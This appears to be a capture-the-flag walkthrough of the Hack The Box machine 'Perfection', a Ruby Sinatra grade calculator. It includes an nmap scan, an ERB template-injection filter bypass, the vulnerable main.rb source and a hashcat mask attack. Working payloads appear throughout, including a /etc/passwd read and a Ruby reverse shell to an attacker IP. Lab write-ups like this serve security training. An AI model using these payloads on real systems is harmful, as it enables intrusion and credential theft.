nmap -v -A -p- -Pn -sV -sC perfection.htb -oN nmap
Nmap scan report for perfection.htb (10.10.11.253)
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
| http-methods:
|_ Supported Methods: GET HEAD
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=4/24%OT=22%CT=1%CU=41569%PV=Y%DS=2%DC=T%G=Y%TM=6629
OS:291B%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Uptime guess: 37.812 days (since Sun Mar 17 16:16:43 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 56.90 ms 10.10.14.1
2 56.99 ms perfection.htb (10.10.11.253)
NSE: Script Post-scanning.
Initiating NSE at 11:45
Completed NSE at 11:45, 0.00s elapsed
Initiating NSE at 11:45
Completed NSE at 11:45, 0.00s elapsed
Initiating NSE at 11:45
Completed NSE at 11:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.51 seconds
Raw packets sent: 66534 (2.932MB) | Rcvd: 66073 (2.673MB)
HTTP (80)
The website seem to be developed with WEBrick 1.7.0:
WEBrick is a simple HTTP server toolkit for Ruby. It's included in the Ruby standard library, so you don't need to install any additional gems to use it. WEBrick is used to create HTTP servers in Ruby applications. It's a basic, built-in server that you can use for development or small-scale deployments.
Try to enter some good values, we obtain this output:
Exploiring some typical endpoints like /robots.txt we obtain this strange error as 404:
Sinatra is a lightweight web application framework for Ruby. It provides a DSL (Domain Specific Language) for defining web applications in Ruby with minimal effort. With Sinatra, you define routes, handle requests, and render responses using Ruby code. It's often used for building APIs, small web services, or prototyping applications.
Fuzzing with input box, there are possibilities that there is some code injection like SSTI. Trying the input {{7*7}} to test SSTI, return a strange output:
Exploitation (foothold/user)
It would appear that attempting to use Ruby syntax directly within the input fields causes it to be detected and the request to be filtered accordingly. Also trying some payloads taken from the following link do not appear to work correctly.
Looking online for a way to bypass the filter, I came across the following article that exploits the carriage return to inject malicious code inside the Ruby template. However, we need to do the encoding using BurpSuite's Decoder tool of the following payload:
test
<%= File.open('/etc/passwd').read %>
After confirming SSTI let’s enumerate more. let’s try to run system command to obtain a reverse shell. As we now an ERB template looks like a plain-text document interspersed with tags containing Ruby code:
As we can see template uses Ruby code, we can search how can we perform system command using Ruby. It looks like it’s very easy, so our input will be:
<%= system(id) %>
of course it will be URL encoded but we have a problem...
We obtain only an Internal Server Error:
But fortunately there are other payloads to achieve an RCE by exploiting SSTI with Ruby as shown in the following link:
After ensuring the presence of ruby and the location of the interpreter on the machine:
The Ruby interpreter is at /usr/bin/ruby:
On attacker machine:
pwncat-cs -lp 4444
On BurpSuite (URL encoded):
test
<%= `/usr/bin/ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.15.101",4444))'` %>
and finally obtain a reverse shell as susan:
main.rb
require 'sinatra'
require 'erb'
set :show_exceptions, false
configure do
set :bind, '127.0.0.1'
set :port, '3000'
end
get '/' do
index_page = ERB.new(File.read 'views/index.erb')
response_html = index_page.result(binding)
return response_html
end
get '/about' do
about_page = ERB.new(File.read 'views/about.erb')
about_html = about_page.result(binding)
return about_html
end
get '/weighted-grade' do
calculator_page = ERB.new(File.read 'views/weighted_grade.erb')
calcpage_html = calculator_page.result(binding)
return calcpage_html
end
post '/weighted-grade-calc' do
total_weight = params[:weight1].to_i + params[:weight2].to_i + params[:weight3].to_i + params[:weight4].to_i + params[:weight5].to_i
if total_weight != 100
@result = "Please reenter! Weights do not add up to 100."
erb :'weighted_grade_results'
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ && params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ && params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
@result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) + (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>" + params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" + params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i * params[:weight5].to_i) / 100 %>\%</p>").result(binding)
erb :'weighted_grade_results'
else
@result = "Malicious input blocked"
erb :'weighted_grade_results'
end
end
And also obtain the user flag:
Privilege Escalation (root)
Under a directory called Migration there is a strange .db file:
Also if we type ls -la under /home/susan directory we see a SQLite related file:
this suggests the presence of SQLite and in fact trying to open the .db with sqlite from the command line we can see the different tables (only once!) in the database.
Saving one hash in a file called hash.txt and performing hash identification using Hashcat we obtain this result:
Trying to crack passwords seems to have gone down a rabbit hole, probably because none of the users in the database are mapped to the /etc/passwd user list:
After executing LinPeas and reading carefully the output we can see that section:
If we read this file we obtain a big clue about privilege escalation:
The funny thing is that the message refers to something that actually happened namely the data breach of the PupilPath application.
With this clue we can try to bruteforce susan's password and try to use sudo to see what commands she can run as root. We use Hashcat masks to crack the hash of Susan:
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
Knowing the password we run the command to see what we can run as root and find that we only need to give a sudo su to become root and complete the machine!